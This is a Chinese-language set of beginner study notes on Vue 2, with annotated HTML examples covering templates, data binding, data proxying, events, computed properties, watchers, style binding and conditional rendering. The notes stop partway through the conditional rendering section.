Vue基础

Vue

前端笔记

网址

Vue官网
vue 元素管理员(vue-element-admin)
Element,为开发者、设计师和产品经理准备基于 Vue 2.0 的桌面组件库
前端HTML5&CSS3、JavaScript、Node.js、Vue详细笔记

学习vue的基础

一、初识vue

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>第一次使用vue</title>
    <!--vue js生产版本production版本-->
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
     <!--插值语法-->
     <!--vue模版-->
        <h1>hello, {{ name }}</h1>
    </div>
    <div class="test">
        <!--注意双花括号中可以写js表达式-->
        <!--
          js表达式:一个表达式生成一个值,放在任何一个需要值的地方
                例如 (1).a (2) 1+b (3) demo(1)4) x===y ? 1 : 0
          js语句: if while for...
        -->
        <h1>{{name.toUpperCase()}},{{address}} {{1+1}} {{Date.now()}}</h1>
    </div>
    <script type="text/javascript">
       //hello小案例
       Vue.config.productionTip = false; //默认不提示
       //创建vue事例对象
       /**
        * 注意:一个vue实例不可能去接管多个容器,如果有多个容器的情况,vue事例永远只接管第一个容器
        * 不能多个vue实例同时来接管同一个容器,如果有多个的情况下永远是第一个vue实例来接管该容器
        * vue实例与容器直接的对应关系是一对一的
        */
       new Vue({
           //配置对象
           //element el指定当前vue实例为哪一个容器服务,值通常为css选择器格式
           el: '#root',// document.getElementById('root') 
           data: {
               //data用来存储数据,以后会用函数来表示
               name:'panyue',
               age:21
           }
       });

       new Vue({
           el: '.test',
           data:{
               name: 'test',
               address: 'Tokyo'
           }
       })
    </script>
</body>
</html>

二、vue模版语法

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Vue模版语法的学习</title>
    <script src="../js/vue.js"></script>
</head>
<body>
   <div id="root">
       <!--
          插值语法一般用在标签体的值{{}}
          指令语法:用于解析标签(标签体,标签属性, 绑定事件)上,类似于v-bind
       -->
       <h1>插值语法</h1>
       <h3>你好, {{ name }} </h3>
       <hr/>
       <h1>指令语法</h1>
       <!--v-bind绑定指令,就把下面的url当成一个js表达式去执行了-->
       <a v-bind:href="url.toUpperCase()" v-bind:x="x">百度一下</a>
       <!-- v-bind: 还可以简写为: -->
       <a :href="url_taiwan" :x="x">google 台湾</a>
       <p>学校: <a :href="school.url.toString()">{{ school.name }}</a> </p>
   </div>
   <script type="text/javascript">
       new Vue({
           el: "#root",
           data: {
               name : 'jack',
               url : 'https://www.baidu.com',
               x: 'test v-bind',
               url_taiwan: 'https://www.google.com.tw',
               school: {
                   name: '武汉科技大学',
                   url:'https://www.wust.edu.cn/'
               }
           }
       })
   </script>
</body>
</html>

三、数据绑定的方式

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>vue 数据绑定</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <!--
			Vue中有2种数据绑定的方式:
					1.单向绑定(v-bind):数据只能从data流向页面。
					2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
						备注:
							1.双向绑定一般都应用在表单类元素上(如:input、select等)
							2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
		 -->
        <label>
            单项数据绑定:
            <!--<input type='text' v-bind:value="name"/>-->
            <!--简写-->
            <input type='text' :value="name"/>
        </label>
        <label>
            双向数据绑定:
            <!--<input type='text' v-model:value="name"/>-->
            <input type='text' v-model="name"/>
        </label>
        <br/>
         <!--
         不是什么都可用v-model的 这里v-model不支持h1
         v-model只能应用在表单元素上(输入元素),与用户交互(都有共同的value属性)
         -->
        <h1 v-bind:x="name">
            你好啊
        </h1>
    </div>
    <script type="text/javascript">
        //v-bind可以完成数据绑定(单项绑定)
        //v-model双向数据绑定
        //单项数据绑定 双向数据绑定
        Vue.config.productionTip = false;
        new Vue({
            el: '#root',
            data:{
                name: 'shanghai'
            }
        })
    </script>
</body>
</html>

四、el和data的两种写法

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>el和data的两种写法</title>
    <script src="../js/vue.js"></script>
</head>
<body>
   <div id="root">
       <!--
			data与el的2种写法
					1.el有2种写法
									(1).new Vue时候配置el属性。
									(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
					2.data有2种写法
									(1).对象式
									(2).函数式
									如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
					3.一个重要的原则:
									由Vue管理的函数(例如data),一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
		-->

       <h1>你好,{{ name }}</h1>
   </div>
   <script type="text/javascript">
       Vue.config.productionTip = false;
       //el的两种写法
       // const v = new Vue({
       //     // el: '#root', //第一种写法
       //     data: {
       //         name: '上海'
       //     }
       // });
       //
       // // console.log(v);
       // //关联root容器,用mount方法
       // setTimeout(() => {
       //     v.$mount('#root'); //第二种写法 挂载到页面上
       // }, 3000)

       //data的两种写法
       new Vue({
          el: '#root',
           //data的第一种写法:对象式
           // data: {
           //     name: 'shanghai'
           // }
           //第二种写法: 函数式(返回对象中包含你想渲染的模版数据)
           //学习组件的时候要是用函数式 这个函数是Vue来调用的
           // data: () => {
           //    console.log(`@@@@`, this); //此时this是window,因为箭头函数没有自己的this,它向外查找找到的window
           //    return ({
           //         name: 'shanghai'
           //     })
           // }
           //尽量不要写成剪头函数,因为会丢失this
           data (){
              console.log('@@@', this); //此时this是Vue
              return {
                  name: 'shanghai'
              }
           }
       });
   </script>
</body>
</html>

五、mvvm模型

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>mvvm模型的理解</title>
    <script src="../js/vue.js"></script>
</head>
<body>
       <!--
			MVVM模型
						1. M:模型(Model) :data中的数据
						2. V:视图(View) :模板代码
						3. VM:视图模型(ViewModel):Vue实例
			观察发现:
						1.data中所有的属性,最后都出现在了vm身上。
						2.vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
		-->
    <div id="root">
        <!--view-->
        <h1>学校名称: {{ name }}</h1>
        <h1>学校地址:{{ address }}</h1>
        <h1>测试一下1:  {{ 1 + 1 }}</h1>
        <!--所有viewModel和vue原型上的属性在视图中的{{}}都可以看到-->
<!--        <h1>测试一下2: {{ $options }}</h1>-->
<!--        <h1>测试一下3: {{ $emit }}</h1>-->
<!--        <h1>测试一下4: {{ _c }}</h1>-->
    </div>
    <script type="text/javascript">
        //view model view与model之间的纽带
        //vm view实例对象
        const vm =  new Vue({
            el: '#root',
            data(){
                //model
                return {
                    name:'武汉科技大学',
                    address: '武汉'
                }
            }
        });
        console.log(vm);
    </script>
</body>
</html>

六、数据代理

6.1、回顾Object.defineProperty(数据代理)

<script type="text/javascript">
       let number = 18;
       let person = {
           name: '张三',
           sex:'男'
       }

       //此时age是不可以枚举的
       //往person对象里添加属性
       //关联
       Object.defineProperty(person,'age', {
           // value: 18,
           // enumerable: true, //此时代表这个属性是可以枚举的
           // writable: true, //代表可以重写该属性(控制属性是否被修改)
           // configurable:true, //控制属性是否可以被删除 默认为false


           //当读取person的age属性时get属性就会被调用,且返回值就是age的值
           //invoke property proxy映射数据代理
           get: function () {
               //测试它的调用情况
               console.log('@@@ GET AGE');
               //此时age的值依赖number的值
               return number
           },
           //当修改person的age属性时set(setter)属性就会被调用,且会收到修改的具体值
           set(v) {
               //测试
               console.log('CHANGE AGE');
               number=v;
           }
       });

       // console.log(Object.keys(person))

       //遍历
       // for(var p  in  person){
       //     console.log('@@', person[p])
       // }



       console.log(person);
   </script>

6.2、何为数据代理

<!-- 数据代理,通过一个对象代理另一个对象中属性的操作  -->
    <script type="text/javascript">
        let obj = { x:200 }
        let obj2 = { y:200 }
        //通过obj2代理obj,来操作obj的x
        Object.defineProperty(obj2, 'x',{
            get(){
                return obj.x
            },
            set(v){
                obj.x = v;
            }
        });

    </script>

6.3、vue的数据代理

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>vue中的数据代理</title>
    <script src="../js/vue.js"></script>
</head>
<body>
        <!--
				1.Vue中的数据代理:
							通过vm对象来代理data对象中属性的操作(读/写)
				2.Vue中数据代理的好处:
							更加方便的操作data中的数据
				3.基本原理:
							通过Object.defineProperty()把data对象中所有属性添加到vm上。
							为每一个添加到vm上的属性,都指定一个getter/setter。
							在getter/setter内部去操作(读/写)data中对应的属性。
		 -->
     <div id="root">
         <h2>学校名称:{{ name }}</h2>
         <h2>学校地址: {{ address }}</h2>
     </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        let data;
        //通过vm代理
        const vm = new Vue({
           el:'#root',
            //vm._data === options.data = data
            //
           data(){
               return data = {
                   name:'panyue',
                   address:'shanghai'
               }
           }
        });
    </script>
</body>
</html>

vue数据代理的原理图
在这里插入图片描述

七、事件处理

7.1、事件物质(事件修饰符可以连用)

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>修饰符</title>
    <script src="../js/vue.js"></script>
    <style>
        *{
            margin: 20px;
        }
        .demo1{
            height: 100px;
            background: deepskyblue;
        }
        .box1{
            padding: 5px;
            background: deepskyblue;
        }
        .box2 {
            padding: 5px;
            background: orange;
        }
        .list{
            width:200px;
            height: 200px;
            background: salmon;
            overflow: auto;
        }
        .list li{
            height: 100px;
        }
    </style>
</head>
<body>
         <!--
				Vue中的事件修饰符:
						1.prevent:阻止默认事件(常用);
						2.stop:阻止事件冒泡(常用);
						3.once:事件只触发一次(常用);
						4.capture:使用事件的捕获模式;
						5.self:只有event.target是当前操作的元素时才触发事件;
						6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
		-->
   <div id="root">
       <h1>欢迎来到 {{ name }}</h1>
       <!--阻止默认事件(常用-->
       <a href="https://www.baidu.com" @click.prevent="showInfo" >点我提示信息</a>
       <!--阻止事件冒泡(常用)-->
       <div class="demo1" @click="showInfo">
           <button @click.stop="showInfo">点我提示信息</button>
           <!--修饰符也可以连用,例如下面事例是即阻止冒泡同时也阻止默认行为-->
           <!--<a href="https://www.google.com.tw" @click.prevent.stop="showInfo">谷歌台湾</a>-->
       </div>
       <!--事件只触发一次-->
       <button @click.once="showInfo">点我提示信息,只在第一次点击生效</button>
       <!-- capture事件的捕获模式 让事件以捕获的方式来处理(先捕获再冒泡)-->
       <div class="box1" @click.capture="showMsg(1)">
           div1
           <div class="box2" @click="showMsg(2)">div2</div>
       </div>
       <!-- self 只有event.target是当前操作的元素时才触发事件(变相阻止冒泡)-->
       <div class="demo1" @click.self="showInfo">
           <button @click="showInfo">点我提示信息</button>
       </div>
       <!--passive:事件的默认行为立即执行,无需等待事件回调执行完毕;-->
       <!--scroll滚动条一滚动就会触发的事件 wheel鼠标滚轮事件-->
       <ul class="list" @scroll.passive="demo">
           <li>1</li>
           <li>2</li>
           <li>3</li>
           <li>4</li>
       </ul>
   </div>
   <script type='text/javascript'>
       Vue.config.productionTip = false;
       new Vue({
           el: "#root",
           data(){
               return {
                   name: 'Shanghai'
               }
           },
           methods:{
               showInfo(e){
                   // e.preventDefault(); 阻止a标签默认行为
                   // e.stopPropagation() //阻止事件冒泡
                   // alert('你好');
                   console.log(e.target);
               },
               showMsg(msg){
                   console.log(msg);
               },
               demo(){
                   // console.log(`@`)
                   // for(let i = 0; i < 100000; i++){
                   //     console.log('#')
                   // }
                   // console.log('累了')
               }
           }
       });
   </script>
</body>
</html>

7.2、事件处理的基本使用(vue事件处理基本学习)

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>事件处理基本</title>
    <script src="../js/vue.js"></script>
</head>
<body>
        <!--
				事件的基本使用:
							1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
							2.事件的回调需要配置在methods对象中,最终会在vm上;
							3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
							4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
							5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;
		-->
    <div id="root">
        <!--指令语法 v开头 例如v-on:click点击事件-->
        <h1>欢迎 {{ name }} </h1>
        <button v-on:click="showInfo1">点我提示信息1</button>
        <!--简写形式 @click-->
        <button @click="showInfo2($event,66)">点我提示信息2</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        const vm = new Vue({
            el: '#root',
            data(){
                return {
                   name: 'shanghai',

                }
            },
            //methods配置事件处理的回调函数
            methods:{
                showInfo1(e){
                    //默认给你传递event参数
                    //当是箭头函数的话this那就是window
                    console.log(this === vm); //this是vue实例
                    console.log('你好');
                },
                //接收参数
                showInfo2(e,num){
                    console.log(e.target);//
                    console.log(`接收参数:${num}`);
                }
            }
        });


    </script>
</body>
</html>

7.3、键盘事件(键盘事件的修饰符也可以连用)

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>vue 键盘事件</title>
    <script src="../js/vue.js"></script>
</head>
<body>
     <!--
            1.Vue中常用的按键别名:
                        回车 => enter
                        删除 => delete (捕获“删除”和“退格”键)
                        退出 => esc
                        空格 => space
                        换行 => tab (特殊,必须配合keydown去使用)
                         => up
                         => down
                         => left
                         => right
            2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
            3.系统修饰键(用法特殊):ctrl、alt、shift、meta
                        (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
                        (2).配合keydown使用:正常触发事件。
            4.也可以使用keyCode去指定具体的按键(不推荐)
            5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
    -->
  <div id="root">
        <!--vue中键盘事件的绑定 一般用keyUp(keydown)-->
        <h1>欢迎来到{{ name }}</h1>
        <input type="text" @keyup.enter="showInfo" placeholder="按下回车提示输入"/>
        <input type="text" @keyup.delete="showInfo" placeholder="退格或删除提示输入"/>
        <input type="text" @keyup.esc="showInfo" placeholder="按下esc提示输入"/>
        <input type="text" @keydown.tab="showInfo" placeholder="按下tab示输入"/>
        <input type="text" @keyup.ctrl="showInfo" placeholder="按下command提示输入"/>
        <input type="text" @keydown.p="showInfo" placeholder="按下p提示输入"/>
        <!--键盘事件的修饰符也可以连用-->
       <input type="text" @keydown.command.g="showInfo" placeholder="按下command和g提示输入"/>
    </div>
    <script type="text/javascript">
        new Vue({
            el:'#root',
            data:{
                name: 'shanghai'
            },
            methods:{
                showInfo:function (e){
                    // if(e.keyCode === 13) {
                    //     console.log(e.target.value);
                    // }
                    console.log(e.target.value);
                    console.log(e.key); //按下的名字
                }
            }
        })
    </script>
</body>
</html>

八、计算属性

8.1、姓名案例_插值语法实现

	<div id="root">
        <!--v-model双向绑定-->
        :<input type="text" v-model="firstName"/>
        <br/><br/>
        :<input type="text" v-model="lastName"/>
        <br/><br/>
        全名: <span>{{ firstName.slice(0,3) }} - {{ lastName }}</span>
    </div>
    <script type="text/javascript">
        new Vue({
           el:'#root',
           data:{
               firstName:'张',
               lastName: '三'
           }
        });
    </script>

8.2、姓名案例_methods语法实现

 <div id="root">
        <!--v-model双向绑定-->
        :<input type="text" v-model="firstName"/>
        <br/><br/>
        :<input type="text" v-model="lastName"/>
        <br/><br/>
        <!--methods方法调用之后进行插值-->
        <!--data中的数据发生变化的话,要重新解析和react类似,state一变化页面重新render-->
        全名: <span>{{ fullName() }}</span>
    </div>
    <script type="text/javascript">
        new Vue({
           el:'#root',
           data: {
               firstName: '张',
               lastName: '三'
           },
           methods:{
               fullName(){
                   return `${this.firstName.slice(0,3)} -- ${this.lastName}`
               }
           }
        });
    </script>

8.3、姓名案例_计算属性语法实现

<div id="root">
    <!--
			计算属性:
					1.定义:要用的属性不存在,要通过已有属性计算得来。
					2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
					3.get函数什么时候执行?
								(1).初次读取时会执行一次。
								(2).当依赖的数据发生改变时会被再次调用。
					4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
					5.备注:
							1.计算属性最终会出现在vm上,直接读取使用即可。
							2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
		 -->
    <!--v-model双向绑定-->
    :<input type="text" v-model="firstName"/>
    <br/><br/>
    :<input type="text" v-model="lastName"/>
    <br/><br/>
    测试:<input type="text" v-model="test"/>
    <br/><br/>
    全名: <span>{{ fullName }}</span>
</div>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            //data里的都是属性
            firstName: '张',
            lastName: '三',
            test:'test'
        },
        //计算属性--> 旧属性加工
        computed: {
            fullName: {
                //get的作用,当读取fullName时get就会被调用,且返回值就做为fullName的值
                //defineProperty
                //注意vm._data是不存在计算属性的
                //计算属性算完之后直接丢到了viewModel实例对象身上
                /**
                 * get的调用时机
                 * 1.初次读取计算属性时
                 * 2.所依赖的数据(data中的属性)发生变化时,不改变的话直接读缓存
                 * 3.methods没有缓存,读几次就调用几次无论要用的数据是否发生变化
                 *  @returns {string}
                 */
                get(){
                    //此时get函数中的this指向是vm
                    console.log('get调用了', this);
                    return this.firstName + '--' + this.lastName
                },
                /**
                 * set什么时候调用
                 *   1.当fullName被修改时
                 * @param value
                 */
                set(value){
                    //修改计算属性所依赖的普通属性(放在data里面的)
                    //this === vm
                    const [ firstName, lastName ] = value.split('-');
                    this.firstName = firstName;
                    this.lastName = lastName; //依赖属性发生改变之后,计算属性自动改变
                }
            }
        }
    });
</script>

8.4、姓名案例_计算属性简写语法实现

<div id="root">
    <!--v-model双向绑定-->
    :<input type="text" v-model="firstName"/>
    <br/><br/>
    :<input type="text" v-model="lastName"/>
    <br/><br/>
    测试:<input type="text" v-model="test"/>
    <br/><br/>
    全名: <span>{{ fullName }}</span>
</div>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            //data里的都是属性
            firstName: '张',
            lastName: '三',
            test:'test'
        },
        //计算属性--> 旧属性加工
        computed: {
            //简写形式
            //前提:计算属性只考虑读取不考虑修改 set丢了
            //简写计算书写为一个函数(这个函数当成getter使用), 注意不要写箭头函数
            //执行完getter之后,vm直接保存返回的数据为fullName属性的属性值,此时vm.fullName不是函数而是一个确切的计算值
            fullName: function (){
                return this.firstName + '--' + this.lastName;
            }
     }});
</script>

九、监视属性

9.1、天气案例_监视属性

<div id="root">
         <!--
				监视属性watch:
					1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
					2.监视的属性必须存在,才能进行监视!!
					3.监视的两种写法:
							(1).new Vue时传入watch配置
							(2).通过vm.$watch监视
		 -->
    <h1>今天天气很 {{ info }}</h1>
    <button @click="changeWeather">
        切换
    </button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el:'#root',
        data:{
            isHot: true
        },
        //计算属性
        //computed: {
        //    info(){
        //        return this.isHot ? '炎热' : '凉爽';
        //    }
        //},
        //改变模版数据的方法
        //methods:{
        //    changeWeather(){
        //        this.isHot = !this.isHot;
        //    }
        //},
         watch:{
             //监视的配置对象
             //watch不仅能监视data的普通属性,也可以检测计算属性
             isHot:{
                 immediate: true, //当这个属性为true时,页面刚渲染就运行handler函数
                 //handler 什么时候调用呢
                 //当isHot发生改变就会调用该函数
                 //handler接收两个参数,一个是这个状态参数改变前的值,另一个是改变后的旧值
                 handler(newValue, preValue){
                     console.log('ishot 被修改了');
                     console.log(`newValue: ${newValue}, preValue: ${preValue}`);
                 }
             }
         }
    });
    //watch的第二种写法,直接采用vm对象实例
    vm.$watch('isHot', {
        immediate: true, //当这个属性为true时,页面刚渲染就运行handler函数
        //handler 什么时候调用呢
        //当isHot发生改变就会调用该函数
        //handler接收两个参数,一个是这个状态参数改变前的值,另一个是改变后的旧值
        handler(newValue, preValue){
            console.log('ishot 被修改了');
            console.log(`newValue: ${newValue}, preValue: ${preValue}`);
        }
    });
</script>

9.2、天气案例_深度监视

<div id="root">
    <!--
		深度监视:
				(1).Vue中的watch默认不监测对象内部值的改变(一层)。
				(2).配置deep:true可以监测对象内部值改变(多层)。
		备注:
				(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以(想让它可以则配置deep:true)
				(2).使用watch时根据数据的具体结构,决定是否采用深度监视。
	-->
    <h1>今天天气很 {{ info }}</h1>
    <button @click="changeWeather">
        切换
    </button>
    <hr/>
    <h3>a的值是:{{ numbers.a }}</h3>
    <button @click="numbers.a++">
        点我让a加一
    </button>
    <h3>b的值是:{{ numbers.b }}</h3>
    <button @click="numbers.b++">
        点我让b加一
    </button>
    <h1>
        测试vue自身监测数据属性
        {{ numbers.d.e }}
    </h1>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el:'#root',
        data:{
            isHot: true,
            numbers:{
                a:1,
                b:1,
                d:{
                    e:2
                }
            }
        },
        watch:{
            //监视的配置对象
            //watch不仅能监视data的普通属性,也可以检测计算属性
            isHot:{
                //immediate: true, //当这个属性为true时,页面刚渲染就运行handler函数
                //handler 什么时候调用呢
                //当isHot发生改变就会调用该函数
                //handler接收两个参数,一个是这个状态参数改变前的值,另一个是改变后的旧值
                handler(newValue, preValue){
                    console.log('ishot 被修改了');
                    console.log(`newValue: ${newValue}, preValue: ${preValue}`);
                }
            },
            //监测多级结构里面的属性 深度监视
            // 'numbers.a':{
            //     handler(){
            //       console.log('a发生改变了')
            //     }
            // }
            //深度监视numbers中的所有属性
            numbers:{
                deep: true, //监视多级结构的属性
                handler(){
                    console.log('numbers 发生改变')
                }
            }
        }
    });

</script>

9.3、天气案例_监视简写形式

<div id="root">
    <h1>今天天气很 {{ info }}</h1>
    <button @click="changeWeather">
        切换
    </button>
    <hr/>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el:'#root',
        data:{
            isHot: true,
        },
        //计算属性
        computed: {
            info(){
                return this.isHot ? '炎热' : '凉爽';
            }
        },
        //改变模版数据的方法
        methods:{
            changeWeather(){
                this.isHot = !this.isHot;
            }
        },
        // watch:{
        //     //监视的配置对象
        //     //watch不仅能监视data的普通属性,也可以检测计算属性
        //     // isHot:{
        //     //     //immediate: true, //当这个属性为true时,页面刚渲染就运行handler函数
        //     //     //handler 什么时候调用呢
        //     //     //当isHot发生改变就会调用该函数
        //     //     //handler接收两个参数,一个是这个状态参数改变前的值,另一个是改变后的旧值
        //     //     //deep: true  //简写
        //     //     handler(newValue, preValue){
        //     //         console.log('ishot 被修改了');
        //     //         console.log(`newValue: ${newValue}, preValue: ${preValue}`);
        //     //     }
        //     // }
        //     //简写:
        //     //简写的前提watch的属性不需要immediate和deep属性的时候
        //     // isHot(newValue, preValue){
        //     //     console.log(newValue,preValue);
        //     // }
        // }
    });
    //完整写法
    // vm.$watch('isHot', {
    //     deep: true,
    //     immediate: true,
    //     handler(newValue, preValue){
    //         console.log(newValue, preValue);
    //     }
    // });
    //简写 (代价就是不能配置其他配置项deep immediate)
    vm.$watch('isHot', function (newValue, preValue){
        //this === vm
        console.log(newValue, preValue);
    })
</script>

9.4、姓名案例_watch监视属性语法实现(computed和watch之间的区别)

   <div id="root">
    <!--v-model双向绑定-->
    <!--
			computed和watch之间的区别:
					1.computed能完成的功能,watch都可以完成。
					2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
				两个重要的小原则:
					1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
					2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,
					这样this的指向才是vm 或 组件实例对象。
		-->
    :<input type="text" v-model="firstName"/>
    <br/><br/>
    :<input type="text" v-model="lastName"/>
    <br/><br/>
    测试:<input type="text" v-model="test"/>
    <br/><br/>
    全名: <span>{{ fullName }}</span>
</div>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            //data里的都是属性
            firstName: '张',
            lastName: '三',
            fullName:'张-三',
            test:'test'
        },
        watch:{
            //这里不需要深度监视则简写 监视firstname lastname
            //计算属性不能开启异步操作更新
            firstName(newF){
                //this === vm
                setTimeout(() => {
                    //继承外部作用域的this//注意此时的函数写成箭头函数(因为它并不是由vue来调用的)
                    //如果写成function(){}的形式 this === window,则无法更新watch属性
                    //异步
                    this.fullName = newF +  '-' + this.lastName;
                }, 1000);
            },
            lastName(newL){
                this.fullName = this.firstName + '-' + newL;
            }
        }
     });
</script>

十、绑定样式

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>vue绑定样式</title>
    <style>
        .basic{
            width: 400px;
            height: 100px;
            border: 1px solid black;
        }

        .happy{
            border: 4px solid red;;
            background-color: rgba(255, 255, 0, 0.644);
            background: linear-gradient(30deg,yellow,pink,orange,yellow);
        }
        .sad{
            border: 4px dashed rgb(2, 197, 2);
            background-color: gray;
        }
        .normal{
            background-color: skyblue;
        }

        .atguigu1{
            background-color: yellowgreen;
        }
        .atguigu2{
            font-size: 30px;
            text-shadow:2px 2px 10px red;
        }
        .atguigu3{
            border-radius: 20px;
        }

    </style>
    <script src="../js/vue.js"></script>
</head>
<body>
<div id="root">
    <!--
			绑定样式:
					1. class样式
								写法:class="xxx" xxx可以是字符串、对象、数组。
										字符串写法适用于:类名不确定,要动态获取。
										对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
										数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
					2. style样式
							:style="{fontSize: xxx}"其中xxx是动态值。
							:style="[a,b]"其中a、b是样式对象。
	-->

    <!--:class 绑定class样式字符串写法 适用于样式的类名不确定需要动态琢磨的状况-->
    <div class="basic" :class="mood"  @click="changeMood">{{ name }}</div>
    <hr/>
    <!--:class 绑定class样式数组写法 适用于要绑定的样式个数不确定,名字也不确定的状况-->
    <div class="basic" :class="classArr">{{ name }}</div>
    <hr/>
    <!--:class 绑定class样式对象写法 适用于要绑定的样式个数确定,名字确定,但动态决定要不要用的状况-->
    <div class="basic" :class="classObj" >{{ name }}</div>
    <hr/>
    <!--绑定style样式 对象写法-->
    <div class="basic" :style="styleObj">
        {{ name }}
    </div>
    <hr/>
    <!--绑定style样式 数组写法-->
    <div class="basic" :style="[styleObj, styleObj2]">
        {{ name }}
    </div>
    <hr/>
    <div class="basic" :style="styleArr">
        {{ name }}
    </div>
</div>
<script type="text/javascript">
    new Vue({
       el:'#root',
       data: {
           name:'test',
           mood:null,
           classArr:['atguigu1', 'atguigu2', 'atguigu3'],
           classObj:{
               atguigu1: false,
               atguigu2: false
           },
           styleObj:{
               fontSize: '40px',
               color: 'red',
           },
           styleObj2:{
               background: 'green'
           },
           styleArr:[
               { color: 'orange' },
               { background: 'grey' }
           ]
       },
       methods:{
         changeMood(){
             //vue绑定事件
             //不要亲手操作dom
             //随机切换心情
             const moodsArr = ['normal', 'happy', 'sad'];
             const random = Math.floor(Math.random() * moodsArr.length);
             this.mood = moodsArr[random];
         }
       }
    });
</script>
</body>
</html>

十一、条件渲染(v-if v-else-if v-show的使用)

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>条件渲染</title>
    <script src="../js/vue.js"></script>
</head>
<body>
<!--
				条件渲染:
							1.v-if
										写法:
												(1).v-if="表达式"
												(2).v-else-if="表达式"
												(3).v-else="表达式"
										适用于:切换频率较低的场景。
										特点:不展示的DOM元素直接被移除。
										注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
							2.v-show
										写法:v-show="表达式"
										适用于:切换频率较高的场景。
										特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
							3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
		 -->

<div id="root">
    <!--v-show要能转换为一个布尔值 v-show条件渲染-->
<!--    <h2 v-show="a">欢迎来到{{ name }}</h2>-->

<!--    <h2 v-show="1===1">欢迎来到{{ name }}</h2>-->
<!--    <button @click='a = !a'>{{ a ? '隐藏': '显示' }}</button>-->
    <!--使用v-if来进行条件渲染 -->
<!--    <h2 v-if="1">欢迎来到{{ name }}</h2>-->
